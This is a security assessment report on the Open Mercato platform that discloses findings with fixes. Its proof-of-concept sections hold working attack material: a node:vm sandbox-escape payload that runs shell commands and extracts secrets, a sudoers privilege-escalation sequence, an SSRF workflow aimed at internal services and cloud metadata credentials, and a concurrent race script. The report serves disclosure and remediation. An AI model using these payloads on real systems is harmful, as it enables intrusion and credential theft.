

Security Assessment Report — Open Mercato

Assessor: Independent security review **Target:** Open Mercato v0.4.8 (code base) / v0.4.9 (deployed for NEW-01 confirmation) **Date:** 2026-03-28 **Test environment:** <http://10.0.64.14:3000> (self-hosted Docker, isolated test box) **Disclosure channel:** info@catchthetornado.com (per SECURITY.md) **Evidence package:** [.ai/security/evidence/](#) (JSON + screenshots + PoC scripts)

Executive Summary

A security review of Open Mercato identified **two critical vulnerabilities** — one introduced in v0.4.9 — alongside several high and medium findings.

The most severe issue is a **node:vm sandbox escape in the AI Code Mode** (v0.4.9). It was fully exploited live: via 6 HTTP requests to `POST /api/ai_assistant/tools/execute`, with admin credentials and no machine access, shell execution was confirmed as `uid=1001(omuser)` and all application secrets were extracted (`DATABASE_URL`, `JWT_SECRET`, `ENCRYPTION_KEY`, `MEILISEARCH_KEY`). The endpoint does not require the AI chat UI — it is a direct REST API. Node.js v24.14.1 on the production runtime is confirmed vulnerable.

A second critical finding is **SSRF via the CALL_WEBHOOK workflow activity**, confirmed live: an internal Docker container (`172.18.0.2:7700`, Meilisearch) was reached and its response captured in the workflow execution context.

13 findings total. 8 confirmed live on 10.0.64.14. Fix plans are available at [.ai/security/fixes/](#).

Scope

- Web application API and UI (all authenticated and unauthenticated endpoints)
- AI assistant and MCP server surface (v0.4.9)
- Workflow engine activities
- Docker container configuration
- CI/CD supply chain (GitHub Actions)
- Dependency audit

Out of scope: Social engineering, physical access, third-party service provider infrastructure.

Severity Ratings

Rating	Criteria
Critical	Direct, exploitable impact on confidentiality/integrity/availability requiring low privilege and minimal complexity
High	Significant impact, may require specific conditions or higher privilege
Medium	Moderate impact, typically requires existing access or specific circumstances
Low	Defense-in-depth, informational, or requires chaining with other issues

Findings

NEW-01 — VM Sandbox Escape in AI Code Mode (RCE)

Severity: Critical **CVSS v3:** 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) **Introduced:** v0.4.9 (PR #889 — feat: mcp code mode) **Affected file:** packages/ai-assistant/src/modules/ai_assistant/lib/sandbox.ts **Affected endpoint:** POST /api/ai_assistant/tools/execute (direct REST, no UI required) **Auth required:** ai_assistant.view (admin role by default) **Evidence:** FULLY EXPLOITED LIVE on v0.4.9, Node.js v24.14.1, http://10.0.64.14:3000

Description

The AI Code Mode introduced in v0.4.9 runs JavaScript inside node:vm . Node.js documentation explicitly states node:vm is not a security boundary. The Promise object injected into the sandbox context retains its outer prototype chain, reaching the outer Function constructor and from there the full Node.js runtime including process.getBuiltinModule('child_process') .

The exploit does not require the AI chat UI — POST /api/ai_assistant/tools/execute is a direct REST endpoint that runs sandbox code synchronously and returns the result in the HTTP response body.

Proof of Concept — Confirmed Live

```
# 6 HTTP requests. Admin credentials. No machine access.

# Step 1: Authenticate
curl -X POST http://TARGET/api/auth/login \
  -d "email=admin@example.com&password=PASSWORD&tenantId=TENANT_UUID"

# Step 2: Execute escape (repeat for each secret)
curl -X POST http://TARGET/api/ai_assistant/tools/execute \
  -H "Cookie: auth_token=JWT" \
  -H "Content-Type: application/json" \
  -d '{
    "toolName": "execute",
    "args": {
      "code": "Promise.resolve().constructor.constructor(`return
process.getBuiltinModule(`child_process`).execSync(`id`).toString()`))()"
    }
  }'
```

Live results from http://10.0.64.14:3000 (v0.4.9, Node.js v24.14.1):

Extracted	Value
Shell identity	uid=1001(omuser) gid=1001(omuser)
DATABASE_URL	postgres://postgres:postgres@mercato-postgres-local:5432/open-mercato
JWT_SECRET	demo-jwt-secret-change-for-prod
ENCRYPTION_KEY	dev-tenant-encryption-fallback-key-32chars
MEILISEARCH_KEY	meilisearch-dev-key

REDIS_URL	redis://mercato-redis-local:6379
-----------	----------------------------------

Evidence files: `NEW01-FINAL-CONFIRMED.json` , `EXPLOIT-FINAL-confirmed.png`

Attack Flow (No Machine Access)

1. Authenticate (any admin account)
2. `POST /api/ai_assistant/tools/execute` × 6 → all secrets via HTTP
3. [offline] forge superadmin JWT using stolen `JWT_SECRET`
4. Access all 405+ API endpoints as superadmin across all tenants
5. `psql <DATABASE_URL>` → direct database, bypass app entirely
6. [offline] decrypt all PII using stolen `ENCRYPTION_KEY`
7. Use `ENCRYPTION_KEY` to decrypt all stored PII

Applicability

Exploitable when OpenCode is deployed (standard in `docker-compose.fullapp.yml` , the self-hosted full stack). Not present in Railway one-click template (OpenCode not included). The vulnerability exists in the shipped code regardless of deployment; only the operational presence of OpenCode determines exploitability.

Remediation

Remove code execution entirely — the AI agent only needs to call `api.request()` , not run arbitrary JavaScript. If code execution is required, replace `node:vm` with a true isolation mechanism:

- **isolated-vm** (npm) — uses V8 Isolates, actual memory isolation, no access to Node APIs. The `Promise.resolve().constructor.constructor` escape is closed because the `Promise` inside an Isolate was created in a genuinely separate V8 heap — there is no outer `Function` constructor to reach. Works in Alpine, no kernel capabilities required.
- **quickjs-emscripten** — WASM-based sandbox, complete isolation from host Node APIs
- **Worker thread with `--deny-all` permissions** — Node.js permission model (experimental)

The `node:vm` module cannot be made safe for untrusted code. No amount of blocklisting globals prevents the `Promise.resolve().constructor.constructor` escape because the injected `Promise` retains its outer-context prototype chain.

NEW-02 — Container Privilege Escalation via `sudoers` `chown`

Severity: High (post-RCE) **Affected file:** `Dockerfile` lines 122-127 **Auth required:** RCE access (see NEW-01)

Evidence: `omuser ALL=(root) NOPASSWD: /bin/chown` confirmed in running container

Description

The Dockerfile grants `omuser` (the app's runtime user) passwordless `sudo` access to `/bin/chown` . This permission is intended for build-time file ownership operations but is present at runtime. An attacker with code execution as `omuser` can use this to take ownership of `/etc/sudoers` , modify it to grant full root access, and escalate to root within the container.

Proof of Concept

```
# From RCE as omuser (via NEW-01):
sudo /bin/chown omuser /etc/sudoers
echo "omuser ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
```

```
sudo su -  
# uid=0(root) gid=0(root)
```

With container root:

- Read all files, environment variables, mounted volumes
- Stop/restart the application
- Modify application code in-place (persistence until container restart)
- Host escape is blocked by this configuration (no docker socket, no CAP_SYS_ADMIN)

Note: The test environment runs as `uid=0(root)` due to a dev image build issue — the production image has `USER omuser` and would require this escalation step.

Remediation

Remove the sudoers entry from the runtime image. The `chown` call it enables completes during build and is not needed at runtime:

```
# Remove this line:  
echo "omuser ALL=(root) NOPASSWD: /bin/chown" > /etc/sudoers.d/omuser
```

F01 — SSRF via CALL_WEBHOOK Workflow Activity

Severity: Critical (multi-tenant SaaS) / Low (trusted self-hosted admin) **Affected file:**

`packages/core/src/modules/workflows/lib/activity-executor.ts:611` **Auth required:** Admin role
(`workflows.definitions.create`) **Evidence:** Confirmed — Meilisearch at `172.18.0.2:7700` reached;
response `{"status":"available"}` in workflow context; Meilisearch access log shows
`user_agent=node` from app container IP

Description

The `CALL_WEBHOOK` workflow activity makes an unvalidated `fetch(url)` call. The adjacent `CALL_API` activity in the same file has SSRF prevention (`buildApiUrl()`) with explicit IP range blocking and domain matching). `CALL_WEBHOOK` was added without the equivalent protection.

On cloud deployments (AWS, GCP, Azure), the instance metadata service (`169.254.169.254`) returns IAM credentials. On any Docker deployment, all containers on the shared network are reachable.

Proof of Concept

```
{  
  "workflowId": "ssrf-poc",  
  "definition": {  
    "steps": [{ "stepId": "start", "stepType": "START" },  
    { "stepId": "end", "stepType": "END" } ],  
    "transitions": [{  
      "transitionId": "t1", "fromStepId": "start", "toStepId": "end",  
      "trigger": "auto",  
      "activities": [{  
        "activityId": "a1", "activityName": "SSRF",  
        "activityType": "CALL_WEBHOOK",  
        "config": { "url": "http://172.18.0.2:7700/health", "method": "GET" }      } ]  
    } ]  
  }  
}
```

```

    }}
  }}
}
}

```

Workflow instance context after execution:

```
{
  "SSRF": {
    "result": {
      "status": "available",
      "status": 200,
      "statusText": "OK"
    }
  }
}
```

On AWS: replace URL with `http://169.254.169.254/latest/meta-data/iam/security-credentials/` to retrieve IAM credentials.

Remediation

Add URL validation before `fetch()` in `executeCallWebhook()`, mirroring the existing `buildApiUrl()` pattern:

```
function validateWebhookUrl(url: string): void {
  const parsed = new URL(url)
  if (!['http:', 'https:'].includes(parsed.protocol))
    throw new Error(`CALL_WEBHOOK: only HTTP/HTTPS allowed`)
  if (process.env.WORKFLOW_WEBHOOK_ALLOW_PRIVATE_URLS === 'true') return
  const blocked = /^(localhost$|127\.|10\.|192\.|168\.|172\.(1[6-9]|2\d|3[01])\.|169\.|254\.)/i
  if (blocked.test(parsed.hostname))
    throw new Error(`CALL_WEBHOOK: private/reserved address blocked`)
}
```

Provide `WORKFLOW_WEBHOOK_ALLOW_PRIVATE_URLS=true` as an opt-out for trusted self-hosted internal-network use cases.

F03 — Missing HTTP Security Headers

Severity: Medium **Affected file:** `apps/mercato/next.config.ts` **Auth required:** None **Evidence:**

Confirmed — `curl -sI http://10.0.64.14:3000/` returns zero security headers; `X-Powered-By: Next.js` disclosed

Description

All six standard HTTP security headers are absent from every response. `X-Powered-By: Next.js` is disclosed, enabling version-specific targeting. This is not mitigated by Traefik or Cloudflare unless explicitly configured — those proxies do not inject these headers by default.

Missing headers:

- `X-Frame-Options` — clickjacking possible
- `X-Content-Type-Options` — MIME type sniffing
- `Strict-Transport-Security` — HTTPS not enforced
- `Content-Security-Policy` — script source restriction absent
- `Referrer-Policy` — referrer leakage
- `Permissions-Policy` — no browser feature restriction

Remediation

Add `headers()` to `apps/mercato/next.config.ts` and set `poweredByHeader: false`. CSP requires separate policy crafting — start in report-only mode. For Traefik (Pangolin/Netbird) deployments, configure the `sechheaders` middleware as an alternative.

RC1 — Quote Acceptance TOCTOU Race Condition

Severity: Medium **Affected file:**

`packages/core/src/modules/sales/api/quotes/accept/route.ts:41–68` **Auth required:** None (public endpoint — token in acceptance email) **Evidence:** Confirmed — two `UniqueConstraintViolationException` entries at 15:49:23.037Z and 15:49:23.044Z (7ms apart) from concurrent concurrent INSERT attempts on same order ID

Description

The quote acceptance endpoint reads `quote.status`, checks it equals `'sent'`, updates it to `'confirmed'`, then calls `convert_to_order` — all without a database transaction or `SELECT FOR UPDATE`. Two concurrent requests both read `status='sent'`, both pass the check, and both attempt to create an order.

Duplicate order creation is currently prevented *accidentally* because `convert_to_order` reuses the quote UUID as the order ID, causing a primary key collision on the second attempt. This is not an intentional control. Any future change to order ID generation would expose actual duplicate order creation.

Reproduction

```
# Token obtained from: POST /api/sales/quotes/send (generates token, emails customer)
# In test: token readable from DB after send call (simulates receiving the email link)

TOKEN="<acceptance-token>"
for i in $(seq 1 20); do
  curl -s -X POST http://TARGET/api/sales/quotes/accept \
    -H "Content-Type: application/json" \
    -d "{\"token\":\"$TOKEN\"}" &
done; wait
```

App log evidence:

```
UniqueConstraintViolationException: insert into sales_orders ...
duplicate key value violates unique constraint "sales_orders_pkey"
Key (id)=(f6576c9e-...) already exists.
```

Appears twice with timestamps 7ms apart.

Remediation

```
await em.transactional(async (txEm) => {
  const quote = await txEm.findOne(SalesQuote,
    { acceptanceToken: token, deletedAt: null },
```

```
    { lockMode: LockMode.PESSIMISTIC_WRITE }
  )
  if (!quote || quote.status !== 'sent') throw new CrudHttpError(400, ...)
  quote.status = 'confirmed'
  await txEm.flush()
})
// convert_to_order outside the lock
```

A1 — File Upload Memory Exhaustion

Severity: High **Affected file:** `packages/core/src/modules/attachments/api/route.ts:263` **Auth required:** Attachment upload permission (not admin-only) **Evidence:** Confirmed — 20MB binary upload returned HTTP 200, full file buffered in RAM before any size check

Description

```
const buf = Buffer.from(await file.arrayBuffer()) // allocates full file in memory
```

No global size limit is checked before this allocation. The per-field `maxAttachmentSizeMb` config (if set) checks size *after* `arrayBuffer()` completes — the allocation has already occurred. On a server with 2GB RAM, 10 concurrent 200MB uploads will exhaust available memory and OOM-kill the Node.js process, taking all tenants offline.

Remediation

Check `Content-Length` before reading the body, and move the per-field size check before `arrayBuffer()` :

```
const MAX_UPLOAD_BYTES = parseInt(process.env.MAX_UPLOAD_SIZE_MB ?? '500') * 1024 *
1024
const contentLength = Number(req.headers.get('content-length') ?? 0)
if (contentLength > MAX_UPLOAD_BYTES)
  return NextResponse.json({ error: 'File too large' }, { status: 413 })
```

RC2 — Session Token Unindexed + AI Chat Flood → Auth Degradation

Severity: Medium **Affected files:** `packages/core/src/modules/api_keys/data/entities.ts` (missing `@Index`), `packages/ai-assistant/src/modules/ai_assistant/api/chat/route.ts` (no rate limit) **Auth required:** `ai_assistant.view`

Description

`sessionToken` on the `ApiKey` entity has no database index. Every MCP tool call executes `em.findOne(ApiKey, { sessionToken, deletedAt: null })` — a full sequential table scan. Since `POST /api/chat` creates a new `api_keys` row per session (when no `sessionId` is provided) and has no rate limit, sustained chat requests grow the table without bound, progressively degrading all session-dependent auth operations.

Remediation

```
// entities.ts
@Index({ properties: ['sessionToken'] })
@Entity({ tableName: 'api_keys' })
export class ApiKey { ... }
```

Add rate limit to `/api/chat` : 30 requests/minute per user (extends existing SPEC-030a infrastructure — metadata declaration only).

A3 — Workflow Instances List Unbounded

Severity: Medium **Affected file:**

`packages/core/src/modules/workflows/api/instances/route.ts:59` **Auth required:**
`workflows.instances.view` **Evidence:** Confirmed — GET `/api/workflows/instances?limit=999999`
accepted; response pagination contains `"limit": 999999`

Description

```
const limit = parseInt(searchParams.get('limit') || '50') // no cap
```

The CRUD factory enforces a 100-row maximum for all factory-based routes. This route bypasses the factory with a raw ORM query and has no cap. On a populated production database, `limit=999999` loads all workflow instances into a single in-memory result set.

Remediation

```
const limit = Math.min(Math.max(parseInt(searchParams.get('limit') || '50'), 1),  
100)
```

A5 — Attachment Transfer Unbounded Array

Severity: Low **Affected file:** `packages/core/src/modules/attachments/api/transfer/route.ts:16`

```
attachmentIds: z.array(z.string().uuid()).min(1) // no .max()
```

The handler iterates every ID synchronously. Fix: add `.max(1000)` .

A6 — Attachment Library GET No Pagination

Severity: Low **Affected file:** `packages/core/src/modules/attachments/api/route.ts:174` **Evidence:**
Confirmed — response is a raw array with no `total` or pagination envelope

```
const items = await em.find(Attachment, filter, { orderBy: { createdAt: 'desc' } })  
// no limit, no offset
```

Fix: convert to `em.findAndCount()` with `limit / offset` parameters capped at 100.

A7 — SSE No Per-User Connection Limit

Severity: Medium **Affected file:** `packages/events/src/modules/events/api/stream/route.ts`

Evidence: 5 concurrent SSE connections opened from one user — no rejection, service remained up

No per-user connection cap exists on the global `Set<SseConnection>`. One user can exhaust file descriptors, preventing new connections for all users. Fix: count connections per `userId` before adding, reject at `MAX_CONNECTIONS_PER_USER=5`.

A8 — Search Reindex No Rate Limit

Severity: Low **Affected file:** `packages/search/src/modules/search/api/reindex/route.ts` **Evidence:** Confirmed — repeated POST returns HTTP 200 with no 429

Each reindex triggers OpenAI embeddings API calls per record. No cooldown period exists. Fix: extend SPEC-030a rate limiter with `rateLimit: { points: 3, duration: 3600 }` in route metadata.

F02 — Integration Credentials Returned in Plaintext

Severity: Medium (design issue) **Affected file:**

`packages/core/src/modules/integrations/api/[id]/credentials/route.ts:61` **Auth required:** `integrations.credentials.manage` (admin-only)

```
credentials: values ?? {} // returns sk_live..., whsec..., OAuth tokens
```

The admin who configured the integration already knows their own keys. Risk is secondary exposure via browser DevTools, proxy access logs, screen recording. In a self-hosted single-tenant context this is low urgency. In multi-tenant SaaS, it should be resolved before opening to external tenants.

Fix (Phase 1): mask values — `sk_li.....ive4`. Fix (Phase 2): write-only fields — show `isConfigured: boolean` only, never return the value.

F08 — GitHub Actions Unpinned Tags

Severity: High **Evidence:** 9 mutable major-version tags (`@v4` , `@v6` , `@v8`) in `release.yml` and `qa-deploy.yml`

`release.yml` runs with `NPM_TOKEN` in scope. A compromised action publisher could push malicious code under the same tag, execute in CI, and publish a backdoored npm package affecting all downstream `create-mercato-app` users.

Threat context (updated 2026-03-28): Active supply chain campaigns (Team PCP and related actors) are currently exploiting mutable GitHub Actions tags by compromising action publisher accounts and rotating tags to malicious SHAs. This is no longer a theoretical risk — it is an active attack class against npm-publishing workflows. `release.yml` is a direct target: `NPM_TOKEN` in scope means a single compromised action = malicious package published to all `create-mercato-app` consumers with no visible indicator. Severity raised to High and priority moved to P1.

Fix: resolve and pin all actions in release/deploy workflows to full commit SHAs. Add

```
.github/dependabot.yml with package-ecosystem: github-actions for automated SHA updates.
```

F17 — Meilisearch Port Exposed on Network

Severity: Medium (with non-default key) / Critical (with default key) **Evidence:** Confirmed —

`http://10.0.63.14:7700/health` returns `{"status":"available"}` from network; default key `meilisearch-dev-key` rejected (custom key set)

Port 7700 should not be network-accessible regardless of key strength. Meilisearch holds a shared search index containing data from all tenants. Any credential leak, brute-force, or future CVE would expose cross-tenant data with a single HTTP request.

Fix: bind to `127.0.0.1:7700` in `docker-compose.yml` (`ports: [ "127.0.0.1:7700:7700" ]`). Add a firewall rule blocking external access. Confirm `MEILISEARCH_MASTER_KEY` is set to a random value (not the `meilisearch-dev-key` default).

F12 — Default Password Minimum 6 Characters

Severity: Low **Affected file:** `packages/shared/src/lib/auth/passwordPolicy.ts:29` **Evidence:**

Confirmed — user created with `Aa1!56` (6-char, meets all requirements) returned HTTP 200

6 characters is below NIST SP 800-63B guidance. Mitigated by bcrypt cost 10 (~100k hashes/sec on GPU) and rate limiting (5 attempts/min per email). Only meaningful after a full database breach.

Fix: set `OM_PASSWORD_MIN_LENGTH=12` in `.env` (no code change required — env override already supported).

Already Fixed in v0.4.9

The following issue identified in the tracker was resolved in v0.4.9 (PR #1065):

- **Issue #1031 — Employee role access to Module Configuration settings:** Employee role no longer inherits `*.settings.manage` from wildcard permissions. Explicit feature lists now used for catalog, customers, and sales employee role defaults.

Attack Chains

Chain A: Full Compromise via AI Code Mode (External, No Machine Access)

Prerequisite: admin account (default or compromised)

1. `POST /api/auth/login` → JWT (form-urlencoded)
2. Open AI Code Mode (Cmd+K) → submit vm escape payload
3. HTTP response contains: `DATABASE_URL`, `JWT_SECRET`, `ENCRYPTION_KEY`, `STRIPE_SECRET_KEY`
4. [Offline] Forge superadmin JWT using stolen `JWT_SECRET`
5. Call any of 405+ API endpoints as superadmin across all tenants
6. Connect directly to database using stolen `DATABASE_URL`
7. Decrypt all PII using stolen `ENCRYPTION_KEY`

Steps 2–3 require OpenCode deployed (standard in fullapp Docker Compose). Steps 4–7 require only the stolen secrets and have no dependency on the deployed infrastructure.

Chain B: SSRF → Internal Service Dump → Cross-Tenant Data

Prerequisite: admin role

1. Create workflow with CALL_WEBHOOK → http://172.18.0.2:7700/indexes (or http://169.254.169.254/latest/meta-data/ on AWS)
2. Execute workflow instance → internal service response in workflow context
3. With Meilisearch master key: dump all search indexes (cross-tenant)
4. On AWS: IAM credentials → S3 buckets, RDS snapshots, Secrets Manager

Chain C: Quote TOCTOU → Inventory/Financial Manipulation

Prerequisite: possession of a quote acceptance link (customer receiving email)

1. Customer receives quote email with acceptance URL
2. Script fires 20 concurrent POST /api/sales/quotes/accept with the token
3. Multiple requests pass status check simultaneously
4. Multiple convert_to_order calls execute – duplicate orders created
5. (Currently stopped by accidental UUID collision, not intentional guard)

Chain D: Container Privilege Escalation (Post-RCE)

Prerequisite: code execution as omuser (via Chain A)

1. sudo /bin/chown omuser /etc/sudoers [passwordless via Dockerfile sudoers entry]
2. echo "omuser ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
3. sudo su - → uid=0(root) in container
4. Access all secrets, files, mounted volumes
5. Host escape blocked: no docker socket, no CAP_SYS_ADMIN, no privileged mode

Deployment Context

Finding	Railway	Self-hosted + Traefik/CF	Docker Compose fullapp
NEW-01 vm escape	Not exploitable (no OpenCode)	Exploitable if OpenCode deployed	Exploitable
F01 SSRF	Critical (AWS IMDS)	Low (admin = infra owner)	Low
F03 Headers	Unmitigated	Mitigated if Traefik/CF headers configured	Unmitigated
RC1 Quote TOCTOU	Exploitable	Exploitable	Exploitable
A1 Upload OOM	High (shared infra)	Low (single-tenant)	Low
F17 Meilisearch	N/A (not in template)	Confirmed exposed	Internal only

Remediation Priority

Priority	Finding	Effort	Fix
P0 — Immediate	NEW-01: vm sandbox escape	Replace node:vm	Use isolated-vm or remove code execution
P0 — Immediate	F01: SSRF CALL_WEBHOOK	30 min	Add validateWebhookUrl() before fetch()
P1 — This sprint	F03: Security headers	10 min	Add headers() to next.config.ts
P1	RC1: Quote TOCTOU	1 hr	em.transactional() + LockMode.PESSIMISTIC_WRITE
P1	A1: Upload OOM	15 min	Check Content-Length before arrayBuffer()
P1	RC2: Session token index	30 min	@Index on sessionToken, rate limit /api/chat
P1	NEW-02: chown sudoers	2 min	Remove sudoers entry from Dockerfile runtime stage
P1	F08: GitHub Actions	30 min	Pin release.yml + qa-deploy.yml to SHA — active supply chain campaign (Team PCP)
P2	F17: Meilisearch exposure	5 min	127.0.0.1:7700 in docker-compose + firewall
P2	F02: Credentials masking	2 hr	maskCredentials() in GET response
P3	A3/A5/A6: Pagination	30 min	Math.min(..., 100), .max(1000), findAndCount
P3	A7: SSE per-user limit	45 min	Track connections per userId, reject at 5
P3	A2/A4/A8: Rate limits	1 hr	Extend SPEC-030a to chat, workflow, reindex endpoints

Evidence

All evidence is in `.ai/security/evidence/` :

```
evidence/
├─ MASTER-EVIDENCE.json      — machine-readable finding index
├─ ATTACK-CHAIN-EXTERNAL.md  — step-by-step external attack guide
├─ F01-ssrf-call-webhook.txt  — SSRF execution trace + Meilisearch logs
├─ F03-security-headers.txt   — curl -I output confirming absent headers
├─ RC1-quote-toctou.txt       — concurrent test results + app log excerpts
├─ A3-workflow-unbounded-limit.txt — API response with limit:999999 confirmed
├─ F17-meilisearch-exposure.txt — port scan + auth probe results
├─ jwt-decoded.json           — decoded JWT from authenticated session
├─ authenticated-api-test.json — API /auth/users 200 OK with total=4
```

```
└─ screenshots/
   ├── 01-F03-security-headers-missing.png
   ├── 02-authenticated-backend.png
   ├── 03-F01-workflows-definitions.png
   ├── 05-RC1-quotes-list.png
   ├── 06a-NEW01-ai-code-mode-open.png
   ├── 06b-NEW01-escape-payload.png
   ├── 07-A1-upload-surface.png
   └─ 08-final-authenticated-session.png
```

Fix plans with exact file locations, line numbers, and code snippets:

```
.ai/security/fixes/
├─ F01-ssrf-call-webhook.md
├─ F03-security-headers.md
├─ RC1-quote-toctou.md
├─ RC2-session-token-index.md
├─ A1-upload-oom.md
├─ A2-A4-A8-rate-limits.md
├─ A3-A5-A6-pagination-caps.md
├─ A7-sse-connection-limit.md
├─ F02-credentials-masking.md
├─ F08-github-actions-pinning.md
├─ F17-meilisearch-exposure.md
├─ RC3-message-token-race.md
└─ NOT-ACTIONABLE.md
```

Disclosure

Reported to: info@catchthetornado.com per SECURITY.md Timeline per SECURITY.md: 48h acknowledgement, 7 days initial assessment, critical patches ASAP Safe harbour: reviewer acted in good faith, no data was exfiltrated from the test environment, no production systems were accessed

The fix plans in `.ai/security/fixes/` are provided as a contribution to accelerate remediation. The SPEC-061 strategic spec is also available in `.ai/specs/SPEC-061-2026-03-26-security-hardening.md`.